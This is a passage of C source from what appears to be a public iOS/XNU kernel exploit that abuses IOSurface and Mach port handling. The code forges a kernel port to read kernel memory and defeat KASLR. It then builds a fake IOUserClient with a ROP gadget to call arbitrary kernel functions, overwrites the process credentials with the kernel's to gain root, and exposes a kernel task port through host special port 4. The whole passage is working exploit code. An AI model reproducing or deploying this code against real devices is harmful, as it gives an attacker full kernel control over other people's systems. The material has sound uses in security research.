fakeport_dictbuf = (uintptr_t)&dict[5] + fakeport_off; 1157 | #endif 1158 | 1159 | // Register fakeport on itself (and clean ref on realport) 1160 | notify = MACH_PORT_NULL; 1161 | ret = mach_port_request_notification(self, fakeport, MACH_NOTIFY_PORT_DESTROYED, 0, fakeport, MACH_MSG_TYPE_MAKE_SEND_ONCE, ¬ify); 1162 | LOG("mach_port_request_notification(fakeport): %x, %s", notify, mach_error_string(ret)); 1163 | if(ret != KERN_SUCCESS) 1164 | { 1165 | goto out; 1166 | } 1167 | 1168 | #if 0 1169 | size = sizeof(response); 1170 | ret = IOConnectCallStructMethod(client, IOSURFACE_GET_VALUE, request, sizeof(request), response, &size); 1171 | LOG("getValue(%u): 0x%lx bytes, %s", idx, size, mach_error_string(ret)); 1172 | if(ret != KERN_SUCCESS) 1173 | { 1174 | goto out; 1175 | } 1176 | if(size < DATA_SIZE + 0x10) 1177 | { 1178 | LOG("Response too short."); 1179 | goto out; 1180 | } 1181 | kptr_t fakeport_addr = UNALIGNED_KPTR_DEREF(&((kport_t*)((uintptr_t)&response[4] + fakeport_off))->ip_pdrequest); 1182 | #endif 1183 | ret = readback_fakeport(client, idx, fakeport_off, pagesize, request, sizeof(request), resp, respsz, &myport); 1184 | if(ret != KERN_SUCCESS) 1185 | { 1186 | goto out; 1187 | } 1188 | kptr_t fakeport_addr = myport.ip_pdrequest; 1189 | if(!fakeport_addr) 1190 | { 1191 | LOG("Failed to leak fakeport address"); 1192 | goto out; 1193 | } 1194 | LOG("fakeport addr: " ADDR, fakeport_addr); 1195 | kptr_t fake_addr = fakeport_addr - fakeport_off; 1196 | 1197 | kport_request_t kreq = 1198 | { 1199 | .notify = 1200 | { 1201 | .port = 0, 1202 | } 1203 | }; 1204 | kport.ip_requests = fakeport_addr + ((uintptr_t)&kport.ip_context - (uintptr_t)&kport) - ((uintptr_t)&kreq.name.size - (uintptr_t)&kreq); 1205 | #if 0 1206 | UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport)); 1207 | 1208 | ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict)); 1209 | LOG("reallocate_buf: %s", mach_error_string(ret)); 1210 | if(ret != KERN_SUCCESS) 1211 | { 1212 | goto out; 1213 | } 1214 | #endif 1215 | ret = reallocate_fakeport(client, surface.data.id, idx, fakeport_off, pagesize, &kport, dict_small, dictsz_small); 1216 | LOG("reallocate_fakeport: %s", mach_error_string(ret)); 1217 | if(ret != KERN_SUCCESS) 1218 | { 1219 | goto out; 1220 | } 1221 | 1222 | #define KREAD(addr, buf, len) \ 1223 | do \ 1224 | { \ 1225 | for(size_t i = 0; i < ((len) + sizeof(uint32_t) - 1) / sizeof(uint32_t); ++i) \ 1226 | { \ 1227 | ret = my_mach_port_set_context(self, fakeport, (addr) + i * sizeof(uint32_t)); \ 1228 | if(ret != KERN_SUCCESS) \ 1229 | { \ 1230 | LOG("mach_port_set_context: %s", mach_error_string(ret)); \ 1231 | goto out; \ 1232 | } \ 1233 | mach_msg_type_number_t outsz = 1; \ 1234 | ret = mach_port_get_attributes(self, fakeport, MACH_PORT_DNREQUESTS_SIZE, (mach_port_info_t)((uint32_t*)(buf) + i), &outsz); \ 1235 | if(ret != KERN_SUCCESS) \ 1236 | { \ 1237 | LOG("mach_port_get_attributes: %s", mach_error_string(ret)); \ 1238 | goto out; \ 1239 | } \ 1240 | } \ 1241 | } while(0) 1242 | 1243 | kptr_t itk_space = 0; 1244 | KREAD(realport_addr + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &itk_space, sizeof(itk_space)); 1245 | LOG("itk_space: " ADDR, itk_space); 1246 | if(!itk_space) 1247 | { 1248 | goto out; 1249 | } 1250 | 1251 | kptr_t self_task = 0; 1252 | KREAD(itk_space + off->ipc_space_is_task, &self_task, sizeof(self_task)); 1253 | LOG("self_task: " ADDR, self_task); 1254 | if(!self_task) 1255 | { 1256 | goto out; 1257 | } 1258 | 1259 | kptr_t IOSurfaceRootUserClient_port = 0; 1260 | KREAD(self_task + off->task_itk_registered, &IOSurfaceRootUserClient_port, sizeof(IOSurfaceRootUserClient_port)); 1261 | LOG("IOSurfaceRootUserClient port: " ADDR, IOSurfaceRootUserClient_port); 1262 | if(!IOSurfaceRootUserClient_port) 1263 | { 1264 | goto out; 1265 | } 1266 | 1267 | kptr_t IOSurfaceRootUserClient_addr = 0; 1268 | KREAD(IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), &IOSurfaceRootUserClient_addr, sizeof(IOSurfaceRootUserClient_addr)); 1269 | LOG("IOSurfaceRootUserClient addr: " ADDR, IOSurfaceRootUserClient_addr); 1270 | if(!IOSurfaceRootUserClient_addr) 1271 | { 1272 | goto out; 1273 | } 1274 | 1275 | kptr_t IOSurfaceRootUserClient_vtab = 0; 1276 | KREAD(IOSurfaceRootUserClient_addr, &IOSurfaceRootUserClient_vtab, sizeof(IOSurfaceRootUserClient_vtab)); 1277 | LOG("IOSurfaceRootUserClient vtab: " ADDR, IOSurfaceRootUserClient_vtab); 1278 | if(!IOSurfaceRootUserClient_vtab) 1279 | { 1280 | goto out; 1281 | } 1282 | 1283 | // Unregister IOSurfaceRootUserClient port 1284 | ret = mach_ports_register(self, NULL, 0); 1285 | LOG("mach_ports_register: %s", mach_error_string(ret)); 1286 | if(ret != KERN_SUCCESS) 1287 | { 1288 | goto out; 1289 | } 1290 | 1291 | kptr_t vtab[VTAB_SIZE] = { 0 }; 1292 | KREAD(IOSurfaceRootUserClient_vtab, vtab, sizeof(vtab)); 1293 | 1294 | kptr_t kbase = (vtab[off->vtab_get_retain_count] & ~(KERNEL_SLIDE_STEP - 1)) + KERNEL_HEADER_OFFSET; 1295 | for(uint32_t magic = 0; 1; kbase -= KERNEL_SLIDE_STEP) 1296 | { 1297 | KREAD(kbase, &magic, sizeof(magic)); 1298 | if(magic == KERNEL_MAGIC) 1299 | { 1300 | break; 1301 | } 1302 | } 1303 | LOG("Kernel base: " ADDR, kbase); 1304 | 1305 | #define OFF(name) (off->name + (kbase - off->base)) 1306 | 1307 | kptr_t zone_map_addr = 0; 1308 | KREAD(OFF(zone_map), &zone_map_addr, sizeof(zone_map_addr)); 1309 | LOG("zone_map: " ADDR, zone_map_addr); 1310 | if(!zone_map_addr) 1311 | { 1312 | goto out; 1313 | } 1314 | 1315 | #ifdef __LP64__ 1316 | vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_x0_x0_0x10); 1317 | #else 1318 | vtab[off->vtab_get_external_trap_for_index] = OFF(rop_ldr_r0_r0_0xc); 1319 | #endif 1320 | 1321 | uint32_t faketask_off = fakeport_off < sizeof(ktask_t) ? UINT64_ALIGN_UP(fakeport_off + sizeof(kport_t)) : UINT64_ALIGN_DOWN(fakeport_off - sizeof(ktask_t)); 1322 | void* faketask_buf = (void*)((uintptr_t)&dict_small[9] + faketask_off); 1323 | 1324 | ktask_t ktask; 1325 | VOLATILE_BZERO32(&ktask, sizeof(ktask)); 1326 | ktask.a.lock.data = 0x0; 1327 | ktask.a.lock.type = 0x22; 1328 | ktask.a.ref_count = 100; 1329 | ktask.a.active = 1; 1330 | ktask.a.map = zone_map_addr; 1331 | ktask.b.itk_self = 1; 1332 | #if 0 1333 | UNALIGNED_COPY(&ktask, faketask_buf, sizeof(ktask)); 1334 | #endif 1335 | VOLATILE_BCOPY32(&ktask, faketask_buf, sizeof(ktask)); 1336 | 1337 | kport.ip_bits = 0x80000002; // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK 1338 | kport.ip_kobject = fake_addr + faketask_off; 1339 | kport.ip_requests = 0; 1340 | kport.ip_context = 0; 1341 | #if 0 1342 | UNALIGNED_COPY(&kport, fakeport_dictbuf, sizeof(kport)); 1343 | #endif 1344 | if(fakeport_off + sizeof(kport_t) > pagesize) 1345 | { 1346 | size_t sz = pagesize - fakeport_off; 1347 | VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sz); 1348 | VOLATILE_BCOPY32((void*)((uintptr_t)&kport + sz), &dict_small[9], sizeof(kport) - sz); 1349 | } 1350 | else 1351 | { 1352 | VOLATILE_BCOPY32(&kport, (void*)((uintptr_t)&dict_small[9] + fakeport_off), sizeof(kport)); 1353 | } 1354 | 1355 | #undef KREAD 1356 | #if 0 1357 | ret = reallocate_buf(client, surface.data.id, idx, dict, sizeof(dict)); 1358 | LOG("reallocate_buf: %s", mach_error_string(ret)); 1359 | if(ret != KERN_SUCCESS) 1360 | { 1361 | goto out; 1362 | } 1363 | #endif 1364 | shmemsz = pagesize; 1365 | dict_small[6] = transpose(idx); 1366 | ret = reallocate_buf(client, surface.data.id, idx, dict_small, dictsz_small); 1367 | LOG("reallocate_buf: %s", mach_error_string(ret)); 1368 | if(ret != KERN_SUCCESS) 1369 | { 1370 | goto out; 1371 | } 1372 | if(fakeport_off + sizeof(kport_t) > pagesize) 1373 | { 1374 | shmemsz *= 2; 1375 | dict_small[6] = transpose(idx + 1); 1376 | ret = reallocate_buf(client, surface.data.id, idx + 1, dict_small, dictsz_small); 1377 | LOG("reallocate_buf: %s", mach_error_string(ret)); 1378 | if(ret != KERN_SUCCESS) 1379 | { 1380 | goto out; 1381 | } 1382 | } 1383 | 1384 | vm_prot_t cur = 0, 1385 | max = 0; 1386 | sched_yield(); 1387 | ret = mach_vm_remap(self, &shmem_addr, shmemsz, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, fakeport, fake_addr, false, &cur, &max, VM_INHERIT_NONE); 1388 | if(ret != KERN_SUCCESS) 1389 | { 1390 | LOG("mach_vm_remap: %s", mach_error_string(ret)); 1391 | goto out; 1392 | } 1393 | *(uint32_t*)shmem_addr = 123; // fault page 1394 | LOG("shmem_addr: 0x%016llx", shmem_addr); 1395 | volatile kport_t *fakeport_buf = (volatile kport_t*)(shmem_addr + fakeport_off); 1396 | 1397 | uint32_t vtab_off = fakeport_off < sizeof(vtab) ? fakeport_off + sizeof(kport_t) : 0; 1398 | vtab_off = UINT64_ALIGN_UP(vtab_off); 1399 | kptr_t vtab_addr = fake_addr + vtab_off; 1400 | LOG("vtab addr: " ADDR, vtab_addr); 1401 | volatile kptr_t *vtab_buf = (volatile kptr_t*)(shmem_addr + vtab_off); 1402 | for(volatile kptr_t *src = vtab, *dst = vtab_buf, *end = src + VTAB_SIZE; src < end; *(dst++) = *(src++)); 1403 | 1404 | #define MAXRANGES 5 1405 | struct 1406 | { 1407 | uint32_t start; 1408 | uint32_t end; 1409 | } ranges[MAXRANGES] = 1410 | { 1411 | { fakeport_off, (uint32_t)(fakeport_off + sizeof(kport_t)) }, 1412 | { vtab_off, (uint32_t)(vtab_off + sizeof(vtab)) }, 1413 | }; 1414 | size_t numranges = 2; 1415 | #define FIND_RANGE(var, size) \ 1416 | do \ 1417 | { \ 1418 | if(numranges >= MAXRANGES) \ 1419 | { \ 1420 | LOG("FIND_RANGE(" #var "): ranges array too small"); \ 1421 | goto out; \ 1422 | } \ 1423 | for(uint32_t i = 0; i < numranges;) \ 1424 | { \ 1425 | uint32_t end = var + (uint32_t)(size); \ 1426 | if( \ 1427 | (var >= ranges[i].start && var < ranges[i].end) || \ 1428 | (end >= ranges[i].start && var < ranges[i].end) \ 1429 | ) \ 1430 | { \ 1431 | var = UINT64_ALIGN_UP(ranges[i].end); \ 1432 | i = 0; \ 1433 | continue; \ 1434 | } \ 1435 | ++i; \ 1436 | } \ 1437 | if(var + (uint32_t)(size) > pagesize) \ 1438 | { \ 1439 | LOG("FIND_RANGE(" #var ") out of range: 0x%x-0x%x", var, var + (uint32_t)(size)); \ 1440 | goto out; \ 1441 | } \ 1442 | ranges[numranges].start = var; \ 1443 | ranges[numranges].end = var + (uint32_t)(size); \ 1444 | ++numranges; \ 1445 | } while(0) 1446 | 1447 | typedef volatile union 1448 | { 1449 | struct { 1450 | // IOUserClient fields 1451 | kptr_t vtab; 1452 | uint32_t refs; 1453 | uint32_t pad; 1454 | // Gadget stuff 1455 | kptr_t trap_ptr; 1456 | // IOExternalTrap fields 1457 | kptr_t obj; 1458 | kptr_t func; 1459 | uint32_t break_stuff; // idk wtf this field does, but it has to be zero or iokit_user_client_trap does some weird pointer mashing 1460 | // OSSerializer::serialize 1461 | kptr_t indirect[3]; 1462 | } a; 1463 | struct { 1464 | char pad[OFFSET_IOUSERCLIENT_IPC]; 1465 | int32_t __ipc; 1466 | } b; 1467 | } kobj_t; 1468 | 1469 | uint32_t fakeobj_off = 0; 1470 | FIND_RANGE(fakeobj_off, sizeof(kobj_t)); 1471 | kptr_t fakeobj_addr = fake_addr + fakeobj_off; 1472 | LOG("fakeobj addr: " ADDR, fakeobj_addr); 1473 | volatile kobj_t *fakeobj_buf = (volatile kobj_t*)(shmem_addr + fakeobj_off); 1474 | VOLATILE_BZERO32(fakeobj_buf, sizeof(kobj_t)); 1475 | 1476 | fakeobj_buf->a.vtab = vtab_addr; 1477 | fakeobj_buf->a.refs = 100; 1478 | fakeobj_buf->a.trap_ptr = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.obj - (uintptr_t)fakeobj_buf); 1479 | fakeobj_buf->a.break_stuff = 0; 1480 | fakeobj_buf->b.__ipc = 100; 1481 | 1482 | fakeport_buf->ip_bits = 0x8000001d; // IO_BITS_ACTIVE | IOT_PORT | IKOT_IOKIT_CONNECT 1483 | fakeport_buf->ip_kobject = fakeobj_addr; 1484 | 1485 | // First arg to KCALL can't be == 0, so we need KCALL_ZERO which indirects through OSSerializer::serialize. 1486 | // That way it can take way less arguments, but well, it can pass zero as first arg. 1487 | #define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \ 1488 | ( \ 1489 | fakeobj_buf->a.obj = (kptr_t)(x0), \ 1490 | fakeobj_buf->a.func = (kptr_t)(addr), \ 1491 | (kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x1), (kptr_t)(x2), (kptr_t)(x3), (kptr_t)(x4), (kptr_t)(x5), (kptr_t)(x6)) \ 1492 | ) 1493 | #define KCALL_ZERO(addr, x0, x1, x2) \ 1494 | ( \ 1495 | fakeobj_buf->a.obj = fakeobj_addr + ((uintptr_t)&fakeobj_buf->a.indirect - (uintptr_t)fakeobj_buf) - 2 * sizeof(kptr_t), \ 1496 | fakeobj_buf->a.func = OFF(osserializer_serialize), \ 1497 | fakeobj_buf->a.indirect[0] = (x0), \ 1498 | fakeobj_buf->a.indirect[1] = (x1), \ 1499 | fakeobj_buf->a.indirect[2] = (addr), \ 1500 | (kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x2), 0, 0, 0, 0, 0) \ 1501 | ) 1502 | kptr_t kernel_task_addr = 0; 1503 | int r = KCALL(OFF(copyout), OFF(kernel_task), &kernel_task_addr, sizeof(kernel_task_addr), 0, 0, 0, 0); 1504 | LOG("kernel_task addr: " ADDR ", %s, %s", kernel_task_addr, errstr(r), mach_error_string(r)); 1505 | if(r != 0 || !kernel_task_addr) 1506 | { 1507 | goto out; 1508 | } 1509 | 1510 | kptr_t kernproc_addr = 0; 1511 | r = KCALL(OFF(copyout), kernel_task_addr + off->task_bsd_info, &kernproc_addr, sizeof(kernproc_addr), 0, 0, 0, 0); 1512 | LOG("kernproc addr: " ADDR ", %s, %s", kernproc_addr, errstr(r), mach_error_string(r)); 1513 | if(r != 0 || !kernproc_addr) 1514 | { 1515 | goto out; 1516 | } 1517 | 1518 | kptr_t kern_ucred = 0; 1519 | r = KCALL(OFF(copyout), kernproc_addr + off->proc_ucred, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0); 1520 | LOG("kern_ucred: " ADDR ", %s, %s", kern_ucred, errstr(r), mach_error_string(r)); 1521 | if(r != 0 || !kern_ucred) 1522 | { 1523 | goto out; 1524 | } 1525 | 1526 | kptr_t self_proc = 0; 1527 | r = KCALL(OFF(copyout), self_task + off->task_bsd_info, &self_proc, sizeof(self_proc), 0, 0, 0, 0); 1528 | LOG("self_proc: " ADDR ", %s, %s", self_proc, errstr(r), mach_error_string(r)); 1529 | if(r != 0 || !self_proc) 1530 | { 1531 | goto out; 1532 | } 1533 | 1534 | kptr_t self_ucred = 0; 1535 | r = KCALL(OFF(copyout), self_proc + off->proc_ucred, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0); 1536 | LOG("self_ucred: " ADDR ", %s, %s", self_ucred, errstr(r), mach_error_string(r)); 1537 | if(r != 0 || !self_ucred) 1538 | { 1539 | goto out; 1540 | } 1541 | 1542 | int olduid = getuid(); 1543 | LOG("uid: %u", olduid); 1544 | 1545 | KCALL(OFF(kauth_cred_ref), kern_ucred, 0, 0, 0, 0, 0, 0); 1546 | r = KCALL(OFF(copyin), &kern_ucred, self_proc + off->proc_ucred, sizeof(kern_ucred), 0, 0, 0, 0); 1547 | LOG("copyin: %s", errstr(r)); 1548 | if(r != 0 || !self_ucred) 1549 | { 1550 | goto out; 1551 | } 1552 | // Note: decreasing the refcount on the old cred causes a panic with "cred reference underflow", so... don't do that. 1553 | LOG("stole the kernel's credentials"); 1554 | setuid(0); // update host port 1555 | 1556 | int newuid = getuid(); 1557 | LOG("uid: %u", newuid); 1558 | 1559 | if(newuid != olduid) 1560 | { 1561 | KCALL_ZERO(OFF(chgproccnt), newuid, 1, 0); 1562 | KCALL_ZERO(OFF(chgproccnt), olduid, -1, 0); 1563 | } 1564 | 1565 | host_t realhost = mach_host_self(); 1566 | LOG("realhost: %x (host: %x)", realhost, host); 1567 | 1568 | uint32_t zm_task_off = 0; 1569 | FIND_RANGE(zm_task_off, sizeof(ktask_t)); 1570 | kptr_t zm_task_addr = fake_addr + zm_task_off; 1571 | LOG("zm_task addr: " ADDR, zm_task_addr); 1572 | volatile ktask_t *zm_task_buf = (volatile ktask_t*)(shmem_addr + zm_task_off); 1573 | VOLATILE_BZERO32(zm_task_buf, sizeof(ktask_t)); 1574 | 1575 | zm_task_buf->a.lock.data = 0x0; 1576 | zm_task_buf->a.lock.type = 0x22; 1577 | zm_task_buf->a.ref_count = 100; 1578 | zm_task_buf->a.active = 1; 1579 | zm_task_buf->b.itk_self = 1; 1580 | zm_task_buf->a.map = zone_map_addr; 1581 | 1582 | uint32_t km_task_off = 0; 1583 | FIND_RANGE(km_task_off, sizeof(ktask_t)); 1584 | kptr_t km_task_addr = fake_addr + km_task_off; 1585 | LOG("km_task addr: " ADDR, km_task_addr); 1586 | volatile ktask_t *km_task_buf = (volatile ktask_t*)(shmem_addr + km_task_off); 1587 | VOLATILE_BZERO32(km_task_buf, sizeof(ktask_t)); 1588 | 1589 | km_task_buf->a.lock.data = 0x0; 1590 | km_task_buf->a.lock.type = 0x22; 1591 | km_task_buf->a.ref_count = 100; 1592 | km_task_buf->a.active = 1; 1593 | km_task_buf->b.itk_self = 1; 1594 | r = KCALL(OFF(copyout), OFF(kernel_map), &km_task_buf->a.map, sizeof(km_task_buf->a.map), 0, 0, 0, 0); 1595 | LOG("kernel_map: " ADDR ", %s", km_task_buf->a.map, errstr(r)); 1596 | if(r != 0 || !km_task_buf->a.map) 1597 | { 1598 | goto out; 1599 | } 1600 | 1601 | kptr_t ipc_space_kernel = 0; 1602 | r = KCALL(OFF(copyout), IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &ipc_space_kernel, sizeof(ipc_space_kernel), 0, 0, 0, 0); 1603 | LOG("ipc_space_kernel: " ADDR ", %s", ipc_space_kernel, errstr(r)); 1604 | if(r != 0 || !ipc_space_kernel) 1605 | { 1606 | goto out; 1607 | } 1608 | 1609 | #ifdef __LP64__ 1610 | kmap_hdr_t zm_hdr = { 0 }; 1611 | r = KCALL(OFF(copyout), zm_task_buf->a.map + off->vm_map_hdr, &zm_hdr, sizeof(zm_hdr), 0, 0, 0, 0); 1612 | LOG("zm_range: " ADDR "-" ADDR ", %s", zm_hdr.start, zm_hdr.end, errstr(r)); 1613 | if(r != 0 || !zm_hdr.start || !zm_hdr.end) 1614 | { 1615 | goto out; 1616 | } 1617 | if(zm_hdr.end - zm_hdr.start > 0x100000000) 1618 | { 1619 | LOG("zone_map is too big, sorry."); 1620 | goto out; 1621 | } 1622 | kptr_t zm_tmp = 0; // macro scratch space 1623 | # define ZM_FIX_ADDR(addr) \ 1624 | ( \ 1625 | zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff), \ 1626 | zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp \ 1627 | ) 1628 | #else 1629 | # define ZM_FIX_ADDR(addr) (addr) 1630 | #endif 1631 | 1632 | kptr_t ptrs[2] = { 0 }; 1633 | ptrs[0] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0)); 1634 | ptrs[1] = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0)); 1635 | LOG("zm_port addr: " ADDR, ptrs[0]); 1636 | LOG("km_port addr: " ADDR, ptrs[1]); 1637 | 1638 | KCALL(OFF(ipc_kobject_set), ptrs[0], zm_task_addr, IKOT_TASK, 0, 0, 0, 0); 1639 | KCALL(OFF(ipc_kobject_set), ptrs[1], km_task_addr, IKOT_TASK, 0, 0, 0, 0); 1640 | 1641 | r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0); 1642 | LOG("copyin: %s", errstr(r)); 1643 | if(r != 0) 1644 | { 1645 | goto out; 1646 | } 1647 | mach_msg_type_number_t mapsNum = 0; 1648 | ret = mach_ports_lookup(self, &maps, &mapsNum); 1649 | LOG("mach_ports_lookup: %s", mach_error_string(ret)); 1650 | if(ret != KERN_SUCCESS) 1651 | { 1652 | goto out; 1653 | } 1654 | LOG("zone_map port: %x", maps[0]); 1655 | LOG("kernel_map port: %x", maps[1]); 1656 | if(!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1])) 1657 | { 1658 | goto out; 1659 | } 1660 | // Clean out the pointers without dropping refs 1661 | ptrs[0] = ptrs[1] = 0; 1662 | r = KCALL(OFF(copyin), ptrs, self_task + off->task_itk_registered, sizeof(ptrs), 0, 0, 0, 0); 1663 | LOG("copyin: %s", errstr(r)); 1664 | if(r != 0) 1665 | { 1666 | goto out; 1667 | } 1668 | 1669 | mach_vm_address_t remap_addr = 0; 1670 | ret = mach_vm_remap(maps[1], &remap_addr, off->sizeof_task, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kernel_task_addr, false, &cur, &max, VM_INHERIT_NONE); 1671 | LOG("mach_vm_remap: %s", mach_error_string(ret)); 1672 | if(ret != KERN_SUCCESS) 1673 | { 1674 | goto out; 1675 | } 1676 | LOG("remap_addr: 0x%016llx", remap_addr); 1677 | 1678 | ret = mach_vm_wire(realhost, maps[1], remap_addr, off->sizeof_task, VM_PROT_READ | VM_PROT_WRITE); 1679 | LOG("mach_vm_wire: %s", mach_error_string(ret)); 1680 | if(ret != KERN_SUCCESS) 1681 | { 1682 | goto out; 1683 | } 1684 | 1685 | kptr_t newport = ZM_FIX_ADDR(KCALL(OFF(ipc_port_alloc_special), ipc_space_kernel, 0, 0, 0, 0, 0, 0)); 1686 | LOG("newport: " ADDR, newport); 1687 | KCALL(OFF(ipc_kobject_set), newport, remap_addr, IKOT_TASK, 0, 0, 0, 0); 1688 | KCALL(OFF(ipc_port_make_send), newport, 0, 0, 0, 0, 0, 0); 1689 | r = KCALL(OFF(copyin), &newport, OFF(realhost) + off->realhost_special + sizeof(kptr_t) * 4, sizeof(kptr_t), 0, 0, 0, 0); 1690 | LOG("copyin: %s", errstr(r)); 1691 | if(r != 0) 1692 | { 1693 | goto out; 1694 | } 1695 | 1696 | task_t kernel_task = MACH_PORT_NULL; 1697 | ret = host_get_special_port(realhost, HOST_LOCAL_NODE, 4, &kernel_task); 1698 | LOG("kernel_task: %x, %s", kernel_task, mach_error_string(ret)); 1699 | if(ret != KERN_SUCCESS || !MACH_PORT_VALID(kernel_task)) 1700 | { 1701 | goto out; 1702 | } 1703 | 1704 | if(callback) 1705 | { 1706 | ret = callback(kernel_task, kbase, cb_data); 1707 | if(ret != KERN_SUCCESS) 1708 | { 1709 | LOG("callback returned error: %s", mach_error_string(ret)); 1710 | goto out; 1711 | } 1712 | } 1713 | 1714 | retval = KERN_SUCCESS; 1715 | 1716 | out:; 1717 | LOG("Cleaning up..."); 1718 | usleep(100000); // Allow logs to propagate 1719 | if(maps) 1720 | { 1721 | RELEASE_PORT(maps[0]); 1722 | RELEASE_PORT(maps[1]); 1723 | } 1724 | RELEASE_PORT(fakeport); 1725 | for(size_t i = 0; i < NUM_AFTER; ++i) 1726 | { 1727 | RELEASE_PORT(after[i]); 1728 | } 1729 | RELEASE_PORT(port); 1730 | for(size_t i = 0; i < NUM_BEFORE; ++i) 1731 | { 1732 | RELEASE_PORT(before[i]); 1733 | } 1734 | RELEASE_PORT(realport); 1735 | RELEASE_PORT(stuffport); 1736 | RELEASE_PORT(client); 1737 | my_mach_zone_force_gc(host); 1738 | if(shmem_addr != 0) 1739 | { 1740 | _kernelrpc_mach_vm_deallocate_trap(self, shmem_addr, shmemsz); 1741 | shmem_addr = 0; 1742 | } 1743 | if(dict_prep) 1744 | { 1745 | free(dict_prep); 1746 | } 1747 | if(dict_big) 1748 | { 1749 | free(dict_big); 1750 | } 1751 | if(dict_small) 1752 | { 1753 | free(dict_small); 1754 | } 1755 | if(resp) 1756 | { 1757 | free(resp); 1758 | } 1759 | 1760 | // Pass through error code, if existent 1761 | if(retval != KERN_SUCCESS && ret != KERN_SUCCESS) 1762 | { 1763 | retval = ret; 1764 | } 1765 | return retval; 1766 | } 1767 | --------------------------------------------------------------------------------